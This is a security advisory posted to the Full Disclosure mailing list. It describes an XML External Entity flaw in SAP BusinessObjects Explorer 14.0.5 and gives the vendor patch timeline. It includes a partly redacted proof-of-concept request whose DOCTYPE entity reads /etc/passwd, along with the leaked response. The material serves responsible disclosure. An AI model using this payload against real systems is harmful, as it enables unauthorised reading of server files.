Full Disclosure mailing list archives

SAP Security Note 1908531 - XXE in BusinessObjects Explorer


From: "Alexandre Herzog" <alexandre.herzog () csnc ch>
Date: Fri, 10 Oct 2014 07:38:52 +0200

#######################################################################
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#######################################################################
#
# Product:           BusinessObjects Explorer
# Vendor:            SAP AG
# Subject:           Untrusted XML input parsing possible in SBOP Explorer
# Risk:              High
# Effect:            Remotely exploitable
# Author:            Stefan Horlacher
# Date:              2014-10-10
# SAP Security Note: 1908531 [0]
#
#######################################################################

Abstract:
-------------
BusinessObjects Explorer is vulnerable against XML External Entity (XXE) 
attacks. This affected the whole application and not only the examples 
described below. 
This vulnerability could be triggered as unauthenticated user, as the 
login request uses vulnerable XML processing as well. 


Affected:
---------
Vulnerable:
SAP BusinessObjects Explorer version 14.0.5 (build 882)

Not tested:
Other versions of BusinessObjects Explorer


Technical Description:
----------------------
BusinessObjects Explorer does not validate user-defined XML inputs. 
Additionally, the service does run an XML interpreter allowing 
references to external entities. This leads to XML External Entity (XXE) 
attacks [1]. 

In the following example, an explorationSpaceUpdate request has been
used to store in the value of a country the content of file /etc/passwd:

        URL: /explorer/polestar_xml.jsp
        Request extract:
                POST /explorer/polestar_xml.jsp HTTP/1.1
                [CUT BY COMPASS]
                Content-Length: 33258
=>              xmlParameter=<!DOCTYPE dataDiscovery [ <!ENTITY include SYSTEM "/etc/passwd">]>
                <dataDiscovery><headers><correlationId>7E7B01A6-E238-716E-2082-
                0EB94532438F</correlationId><transactionId>0F14D6BC-ED78-8570-1415-
                0EB94532416E</transactionId></headers><session token="[CUT BY COMPASS]"
                locale="en_US"/><request><explorationSpaceUpdate infoObjectCUID="[CUT BY COMPASS]"
                displayName="" infospaceVersion="2" tip="[CUT BY COMPASS]" [CUT BY COMPASS]
                <value>%26include;</value><items selected="[CUT BY
                COMPASS]"/></row><row><value>AT</value><items selected="[CUT BY
                COMPASS]"/></row><row><value>AU</value><items selected="[CUT BY
                COMPASS]"/></row><row><value>BD</value><items
                [CUT BY COMPASS]
        Response extract:
                HTTP/1.1 200 OK
                [CUT BY COMPASS]
                Content-Length: 214
                <?xml version="1.0" encoding="UTF-8"
=>              standalone="no"?><dataDiscovery><response><explorationSpaceUpdate id="[CUT BY COMPASS]"
                infoObjectCUID="[CUT BY COMPASS]"/></response></dataDiscovery>

                
The following explorationSpaceDetail request has been used to retrieve
the stored value.

        URL: /explorer/polestar_xml.jsp
        Request extract:
                POST /explorer/polestar_xml.jsp HTTP/1.1
                [CUT BY COMPASS]
                Content-Length: 533
                xmlParameter=%3CdataDiscovery%3E%3Cheaders%3E%3CcorrelationId%3E[CUT BY
                COMPASS]%3C%2FcorrelationId%3E%3CtransactionId%3E[CUT BY
                COMPASS]%3C%2FtransactionId%3E%3C%2Fheaders%3E%3Csession%20token%3D%22[CUT BY
=>              COMPASS]%22%20locale%3D%22en%5FUS%22%2F%3E%3Crequest%3E%3CexplorationSpaceDetail%20id%3D
                %22[CUT BY COMPASS]%22%2F%3E%3C%2Frequest%3E%3C%2FdataDiscovery%3E
        Response extract:
                HTTP/1.1 200 OK
                [CUT BY COMPASS]
=>              <value>root:!:0:0::/:/usr/bin/ksh
                [CUT BY COMPASS]


Timeline:
---------
2013-06-06:     Discovery by Stefan Horlacher
2013-06-26:     Initial vendor notification
2014-06-10:     Vendor releases patch and SAP Security Note 1908531
2014-10-10:     Disclosure of the advisory


References:
-----------
[0] https://service.sap.com/sap/support/notes/1908531
[1] https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

Attachment: smime.p7s
Description:


_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Current thread: